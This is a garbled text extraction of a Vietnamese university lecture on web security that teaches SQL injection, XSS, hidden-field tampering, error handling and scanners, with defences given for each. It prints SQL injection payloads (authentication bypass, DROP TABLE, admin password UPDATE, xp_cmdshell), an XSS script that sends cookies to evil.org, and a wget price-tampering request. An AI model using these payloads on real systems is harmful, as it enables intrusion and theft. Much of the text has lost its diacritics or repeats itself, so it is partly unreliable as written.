Thi t k & L p trình Web 2
Bài 11
Web Security
Ths Tr n Th Bích H nh
Khoa CNTT
© 2009 Khoa Công ngh thông tin
N i
N i dungdung
N i
N i dungdung
M t s khái ni m v B o m t
M t s l h ng b o m t Web & cách phòng tránh
Các Công c h tr ki m tra b o m t Web
© 2009 Khoa CNTT - HKHTN
2
Thi t k & L p trình Web 2 – Bài 11: Web Security
N i
N i dungdung
N i
N i dungdung
M t s khái ni m v B o m t
M t s l h ng b o m t Web & cách phòng tránh
Các Công c h tr ki m tra b o m t Web
Thi t k & L p trình Web 2 – Bài 11: Web Security
Threats & Vulnerability
Threats
– Hành đ ng ho c s ki n gây h i đ n h th ng
Vulnerability
– L h ng ho c đi m y u c a h th ng mà t đó cho phép
ng i khác xâm nh p vào h th ng
Trang 2Malicious Software
Virus
– Các ch ng trình có kh n ng t nhân b n và lây nhi m vào
các t p tin trên máy tính
– Khi ng i dùng th c thi m t t p tin b nhi m virus s kích
– Khi ng i dùng th c thi m t t p tin b nhi m virus s kích
ho t virus ho t đ ng
Trojan j
– Ch ng trình thu th p thông tin d li u t máy tính
– Các ch ng trình có kh n ng nhân b n t máy tính này
sang máy tính khác nh m m c tiêu chi m th i gian x lý CPU
à th i i đ ó hú
© 2009 Khoa CNTT - HKHTN
và th i gian đ xóa chúng
5
B o
B o vv ngng d ngd ng
B o
B o vv ngng d ngd ng
S d ng Firewall
S d ng Ch ng trình Anti-virus
S d ng Ch ng trình Anti-spyware
© 2009 Khoa CNTT - HKHTN
6
Thi t k & L p trình Web 2 – Bài 11: Web Security
Password Cracking
Ph ng pháp l u m t kh u
– Không mã hóa
– Mã hóa 2 chi u
M hó 1 hi
– Mã hóa 1 chi u
Password cracking
– Brute force attack
– Dictionary attack
Thi t k & L p trình Web 2 – Bài 11: Web Security
Không Không mãmã hóahóa m tm t kh ukh u Không
Không mãmã hóahóa m tm t kh ukh u
Trang 3Mã hóahóa 22 chi uchi u
Mã
Mã hóahóa 2 2 chi uchi u
© 2009 Khoa CNTT - HKHTN
9
Mã
Mã hóahóa 11 chi uchi u Mã
Mã hóahóa 1 1 chi uchi u
© 2009 Khoa CNTT - HKHTN
10
Thi t k & L p trình Web 2 – Bài 11: Web Security
Password Cracking
Thi t k & L p trình Web 2 – Bài 11: Web Security
Password Cracking ( Password Cracking (tt tt)) Password Cracking ( Password Cracking (tt tt))
Brute force attack
– Mã hóa hàng ngàn passwords có s n b ng hàm hash – So sánh k t qu v i d li u hash trong database
Dictionary attack
– L u danh sách các username & password thông d ng – Dùng các thông tin này đ th đ ng nh p h th ng
Trang 4B o
B o vv m tm t kh ukh u
B o
B o vv m tm t kh ukh u
Gi i h n s l n đ ng nh p th t b i
S d ng m t kh u m nh (strong password)
– Chi u dài t i thi u
– Không s Không s d ng các t d ng các t trong t trong t đi n dãy ký t liên ti p đi n, dãy ký t liên ti p
– K t h p ch cái, kí t s , kí t đ c bi t
Ch ng th c ng i dùng khi đ i & reset m t kh u
– Khi thay đ i m t kh u, nên ch ng th c l i ng i dùng: m t kh u c ,
tài kho n ng i dùng…
Khi nh n đ c yêu c u reset m t kh u c ng nên xác nh n l i yêu
– Khi nh n đ c yêu c u reset m t kh u, c ng nên xác nh n l i yêu
c u reset
S d ng các giao th c đáng tin c y khi x lý m t kh u
© 2009 Khoa CNTT - HKHTN
13
E E mail Attacks mail Attacks E
E mail Attacks mail Attacks
E-mail Bombing
– G i cùng m t email nhi u l n đ n m t user – M c tiêu chi m đ ng truy n và x lý c a mail server
E-mail Spamming
– G i email đ n nhi u user – Th ng s d ng mailing list
© 2009 Khoa CNTT - HKHTN
14
Thi t k & L p trình Web 2 – Bài 11: Web Security
B o
B o vv EmailEmail
B o
B o vv EmailEmail
Không hi n th đ a ch email trên web
<a href= mailto:yourmail@gmail.com >Gui mail</a>
S d ng hình nh ho c ký t đ t bi t đ thay th
Ttbhanh at fit dot hcmuns dot edu dot vn
Thi t l p rule cho mailing list ch nh n email t mail n i b
S d ng CAPCHA đ phòng nh p li u t đ ng…
Thi t k & L p trình Web 2 – Bài 11: Web Security
Denial Denial of of Service ( Service (DoS DoS) Attacks ) Attacks Denial
Denial of of Service ( Service (DoS DoS) Attacks ) Attacks
G i liên ti p nhi u yêu c u đ n server
M c tiêu
– Chi m đ ng truy n m ng – Ch n k t n i gi a hai máy tính – Làm cho server không có kh n ng ph c v client
Trang 5DoS AttacksAttacks
DoS
DoS AttacksAttacks
© 2009 Khoa CNTT - HKHTN
17
N i
N i dungdung
N i
N i dungdung
M t s khái ni m v B o m t
M t s l h ng b o m t Web & cách phòng tránh
Các Công c h tr ki m tra b o m t Web
© 2009 Khoa CNTT - HKHTN
18
Thi t k & L p trình Web 2 – Bài 11: Web Security
M t
M t ss ll h ngh ng b ob o m tm t Web &Web & cáchcách phòngphòng tránhtránh
M t
M t ss ll h ngh ng b ob o m tm t Web & Web & cáchcách phòngphòng tránhtránh
SQL Injection
XSS (Cross-Site Scripting)
Hidden Field Vulnerability
Failing to Handle Error
Thi t k & L p trình Web 2 – Bài 11: Web Security
M t
M t ss ll h ngh ng b ob o m tm t Web &Web & cáchcách phòngphòng tránhtránh
M t
M t ss ll h ngh ng b ob o m tm t Web & Web & cáchcách phòngphòng tránhtránh
SQL Injection
XSS (Cross-Site Scripting)
Hidden Field Vulnerability
Failing to Handle Error
Trang 6SQL Injection
M t k thu t cho phép nh ng k t n công l i
SQL Injection
d ng l h ng trong vi c ki m tra d li u nh p
trong các ng d ng web và các thông báo l i c a
h qu n tr c s d li uđ đ a vào vàthi hành
h qu n tr c s d li uđ đ a vào vàthi hành
các câu l nh SQL b t h p pháp
© 2009 Khoa CNTT - HKHTN
21
Các Các d ngd ng t nt n côngcông SQL InjectionSQL Injection Các
Các d ngd ng t nt n côngcông SQL InjectionSQL Injection
V t qua ki m tra lúc đ ng nh p (authorization bypass)
L y d li u
Thay đ i d li u
G i th c thi ch ng trình khác
© 2009 Khoa CNTT - HKHTN
22
Thi t k & L p trình Web 2 – Bài 11: Web Security
V t Ki mKi m tratra lúclúcđ ngđ ng nh pnh p
V t Ki mKi m tratra lúclúcđ ngđ ng nh pnh p
Câu SQL th ng dùng trong đ ng nh p:
strSQL = "SELECT * FROM Users "
Thi t k & L p trình Web 2 – Bài 11: Web Security
V t Ki mKi m tratra lúclúc đ ngđ ng nh pnh p ((tttt))
V t Ki mKi m tratra lúclúc đ ngđ ng nh pnh p ((tttt))
v t qua, ng i dùng nh p:
strUsername: ' or '' = '
strPassword: ' or '' = '
Câu SQL lúc này:
SELECT * FROM Users
Câu SQL này luôn đúng, và tr v t t c thông tin trong b ng Users Câu SQL này luôn đúng, và tr v t t c thông tin trong b ng Users
Trang 7L y
L y dd li uli u SS d ngd ng câucâu SelectSelect
Xem chi ti t 1 b n tin
L y
L y dd li uli u SS d ngd ng câucâu Select Select
– http://www.myhost.com/shownews.aspx?ID= 123
– Code x lý
string ID = Request.QueryString[“ID"];
string strSQL = "select * from News
where NewsID=" + ID ; where NewsID + ID ;
N u ng i dùng thay ch 123b ng chu i0 or 1=1
Khi đó câu l nh SQL:
– select * from News where NewsID=0 or 1=1
© 2009 Khoa CNTT - HKHTN
K t qu là s hi n t t c tin t c
25
L y
L y dd li uli u SS d ngd ng câucâu Select & UnionSelect & Union
L y
L y dd li uli u SS d ngd ng câucâu Select & UnionSelect & Union
M t s ví d khác
OtherTable WHERE ' '='
n u h th ng báo l i v cú pháp d ng: Invalid object name
“OtherTable”; ta có th bi t ch c là h th ng đã th c hi n câu SELECT
sau t khóa UNION
xtype = 'U'
Li t kê tên t t c các b ng d li u
© 2009 Khoa CNTT - HKHTN
26
Thi t k & L p trình Web 2 – Bài 11: Web Security
Thay đ iđ i dd li uli u SS d ngd ng câucâu l nhl nh InsertInsert
Thay đ iđ i dd li uli u SS d ngd ng câucâu l nhl nh InsertInsert
Câu l nh dùng:
string strSQL = "INSERT INTO TableName "
+ "VALUES('" + strValue1 + "','" + strValue2 + "','“
t V l 3 "')"
+ strValue3 + "')"
N u ng i dùng nh p tr ng th nh t (strValue1)
' (SELECT TOP 1 Fi ldN FROM T bl N ) '
'+(SELECT TOP 1 FieldName FROM TableName)+'
Khi đó câu l nh SQL:
INSERT INTO T bl N VALUES(' ' + ( SELECT TOP 1
INSERT INTO TableName VALUES(' ' + ( SELECT TOP 1
FieldName FROM TableName ) + ' ', 'abc', 'def')
Ngoài l nh Insert, thì câu l nh này còn th c hi n l nh Select
Ngoài l nh Insert, thì câu l nh này còn th c hi n l nh Select
Thi t k & L p trình Web 2 – Bài 11: Web Security
Thayđ iđ i dd li uli u –– SS d ngd ng câucâu l nhl nh Update & DropUpdate & Drop Thayđ iđ i dd li uli u –– SS d ngd ng câucâu l nhl nh Update & DropUpdate & Drop
; DROP TABLE <Tên Table>
Xóa b ng d li u
; UPDATE USERS SET EMAIL=‘your email’ WHERE username=‘admin’
T o đ a ch email m i sau đó s d ng ch c n ng password recovery
‘ UNION UPDATE USERS SET PASSWORD=‘your pass’ WHERE username=‘admin’
Thi t l p m t kh u m i p
Trang 8G i
Th c thi v i quy n qu n tr h th ng ‘sa’
G i
– '; EXEC xp_cmdshell 'cmd.exe dir C:'
Th c hi n l nh li t kê th m c trên đ a C:\ cài đ t server
Vi c phá ho i ki u nào tu thu c vào câu l nh p đ ng sau g
cmd.exe.
© 2009 Khoa CNTT - HKHTN
29
Cách phòng tránh Cách phòng tránh
Ki m soát ch t ch d li u nh p vào
– Vi t hàm l c các ký t đ c bi t trong chu i nh p vào – Vd: " ", "'", ";", " ", "xp_", "select",
"drop", "insert", "delete" drop , insert , delete
Thi t l hì h t à h h t d li
Thi t l p c u hình an toàn cho h qu n tr c s d li u
– Gi i h n quy n x lí d li u đ n tài kho n ng i dùng Tránh dùng đ n các quy n nh dbo hay sa
– Tránh dùng đ n các quy n nh dbo hay sa.
© 2009 Khoa CNTT - HKHTN
Thi t k & L p trình Web 2 – Bài 11: Web Security
M t
M t ss ll h ngh ng b ob o m tm t Web &Web & cáchcách phòngphòng tránhtránh
M t
M t ss ll h ngh ng b ob o m tm t Web & Web & cáchcách phòngphòng tránhtránh
SQL Injection
XSS (Cross-Site Scripting)
Hidden Field Vulnerability
Failing to Handle Error
Thi t k & L p trình Web 2 – Bài 11: Web Security
XSS (Cross XSS (Cross Site Scripting)Site Scripting) XSS (Cross
XSS (Cross Site Scripting)Site Scripting)
M t k thu t cho phép nh ng k t n công l i d ngl h ng
web và các thông báo l i nh mchèn nh ng đo n mã script nguy hi m có th gây nguy h i cho nh ng
Trang 9Phát hi n l h ng XSS
1 Vào website c n ki m tra
2 nh v các form nh p li u:
search, login form,
querystring
querystring…
3 Nh p ho c chèn đo n script
vào form nh p li u ho c
trên đ ng d n url &
submit Ví d
<script>alert(‘XSS’);</script>
4 N u th y c a s alert xu t
hi n thì website có l h ng
© 2009 Khoa CNTT - HKHTN
hi n thì website có l h ng
XSS
33
Ref: http://ha.ckers.org/xss.html
Phát Phát hi nhi n ll h ngh ng XSSXSS –– VíVí dd Phát
Phát hi nhi n ll h ngh ng XSS XSS –– VíVí dd
© 2009 Khoa CNTT - HKHTN
34
Thi t k & L p trình Web 2 – Bài 11: Web Security
T n
T n côngcông XSSXSS
T n
T n côngcông XSSXSS
Thi t k & L p trình Web 2 – Bài 11: Web Security
T n
T n côngcông XSSXSS –– VíVí dd
T n
T n côngcông XSS XSS –– VíVí dd
<script>
i=new Image();
i.src="http://www.evil.org/getcookie.aspx?cookie=" +
escape(document.cookie);
Trang 10Cách phòngphòng tránhtránh
Cách
Cách phòngphòng tránhtránh
Ki m tra d li u nh p t ng i dùng
– Ch ch p nh n nh ng d li u h p l
– L c các ký t đ c bi t
– Phát hi n các th script
Mã hoá (encoding) các kí t đ c bi t tr c khi in ra website
nh m ng n ch n website t th c thi các script không mong
mu n
© 2009 Khoa CNTT - HKHTN
37
M t
M t ss ll h ngh ng b ob o m tm t Web &Web & cáchcách phòngphòng tránhtránh
M t
M t ss ll h ngh ng b ob o m tm t Web & Web & cáchcách phòngphòng tránhtránh
SQL Injection
XSS (Cross-Site Scripting)
Hidden Field Vulnerability
Failing to Handle Error
© 2009 Khoa CNTT - HKHTN
38
Thi t k & L p trình Web 2 – Bài 11: Web Security
Hidden Field Vulnerability
Là thông tin n trong trang web, đ c th hi n d i th
<input type=“hidden” value=“xyz” />
Không hi n th lên trình duy t
Có th xem đ c v i ch c n ng View Source
Thi t k & L p trình Web 2 – Bài 11: Web Security
Hidden Field Vulnerability Hidden Field Vulnerability –– VíVí dd Hidden Field Vulnerability
Hidden Field Vulnerability –– VíVí dd
< form id=" frmThanhToan " name=" frmThanhToan" method=“POST" action="thanhtoan.php ">
<p>S l ng s n ph m c n mua:
< input name=" sosanpham " type=" text " id=" sosanpham " size=" 10 " />
(s n ph m)
</p>
<p>Mã s th tín d ng
< input name=" masothe " type=" text " id=" masothe " size=" 20 " />
< input input name=" name thanhtoan thanhtoan " type=" type submit submit " id=" id thanhtoan thanhtoan " value=" value ok ok " /> /
</p>
Trang 11Mô hìnhhình xx lý
Mô
Mô hìnhhình xx lý
// thanhtoan.php
if ($ REQUEST [" h h "] " k")
if ($_ REQUEST ["thanhtoan"]=="ok")
{
$tongtien=$_ REQUEST ["gia"] * $_ REQUEST ["sosanpham"];
printf ("T ng giá ti n: %d VND" $tongtien);
© 2009 Khoa CNTT - HKHTN
41
printf ("T ng giá ti n: %d VND", $tongtien);
}
T n
T n côngcông
T n
T n côngcông
Wget - -post-data “gia=1000&thanhtoan=ok&sosanpham=1”
h //l lh /S i / h h h
© 2009 Khoa CNTT - HKHTN
42
http://localhost/Security/thanhtoan.php
Thi t k & L p trình Web 2 – Bài 11: Web Security
Cách
Cách phòngphòng tránhtránh
Cách
Cách phòngphòng tránhtránh
Mã hóa d li u l u trong Hidden Fields
Không l u các d li u nh y c m trong Hidden Fields
Thi t k & L p trình Web 2 – Bài 11: Web Security
M t
M t ss ll h ngh ng b ob o m tm t Web &Web & cáchcách phòngphòng tránhtránh
M t
M t ss ll h ngh ng b ob o m tm t Web & Web & cáchcách phòngphòng tránhtránh
SQL Injection
XSS (Cross-Site Scripting)
Hidden Field Vulnerability
Failing to Handle Error
Trang 12Failing to Handle Error
H th ng không t x lý l i và đ các thông báo l i chi ti t
hi n th nh ng thông tin quan tr ng giúp k t n công xâm
nh p h th ng
© 2009 Khoa CNTT - HKHTN
45
Failing to Handle Error Failing to Handle Error –– VíVí dd Failing to Handle Error
Failing to Handle Error –– VíVí dd
© 2009 Khoa CNTT - HKHTN
46
Thi t k & L p trình Web 2 – Bài 11: Web Security
Failing to Handle Error
Failing to Handle Error –– VíVí dd
Failing to Handle Error
Failing to Handle Error –– VíVí dd
Thi t k & L p trình Web 2 – Bài 11: Web Security
Cách Cách phòngphòng tránhtránh Cách
Cách phòngphòng tránhtránh
B t & X lý l i
try {
… } catch (Exception ex) {
… }
T hi th t thô bá l i C hì h W b C fi
T hi n th trang thông báo l i – C u hình Web.Config
<customErrors mode="On" defaultRedirect="ErrorPage.htm">
<error statusCode="404" redirect="NotFound htm" />
<error statusCode 404 redirect NotFound.htm />
<error statusCode="500" redirect=“ServerError.htm" />
</customErrors>
http://en.wikipedia.org/wiki/List_of_HTTP_status_codes
Trang 13N i
N i dungdung
N i
N i dungdung
M t s khái ni m v B o m t
M t s l h ng b o m t Web & cách phòng tránh
Các Công c h tr ki m tra b o m t Web
© 2009 Khoa CNTT - HKHTN
49
Các Các côngcông cc hh trtr ki mki m tratra b ob o m tm t WebWeb Các
Các côngcông cc hh trtr ki mki m tratra b ob o m tm t WebWeb
Nikto
– Open Source ( GPL ) web server scanner
Paros Proxy
– Cho phép xem/s a HTTP/HTTPS messages on-the-fly đ thay đ i cookies, form fields,…
A ti WVS
Acunetix WVS
– Commercial Web Vulnerability Scanner
© 2009 Khoa CNTT - HKHTN
Ref: http://sectools.org/web-scanners.html
50
Thi t k & L p trình Web 2 – Bài 11: Web Security
Công c h tr ki m tra b o m t
Web Vulnerability Scanner y
- Quét l i
- Quét c ng
- Scan c u trúc Website
- Ki m tra m c đ b o m t website
- Download: www.acunetix.com
Thi t k & L p trình Web 2 – Bài 11: Web Security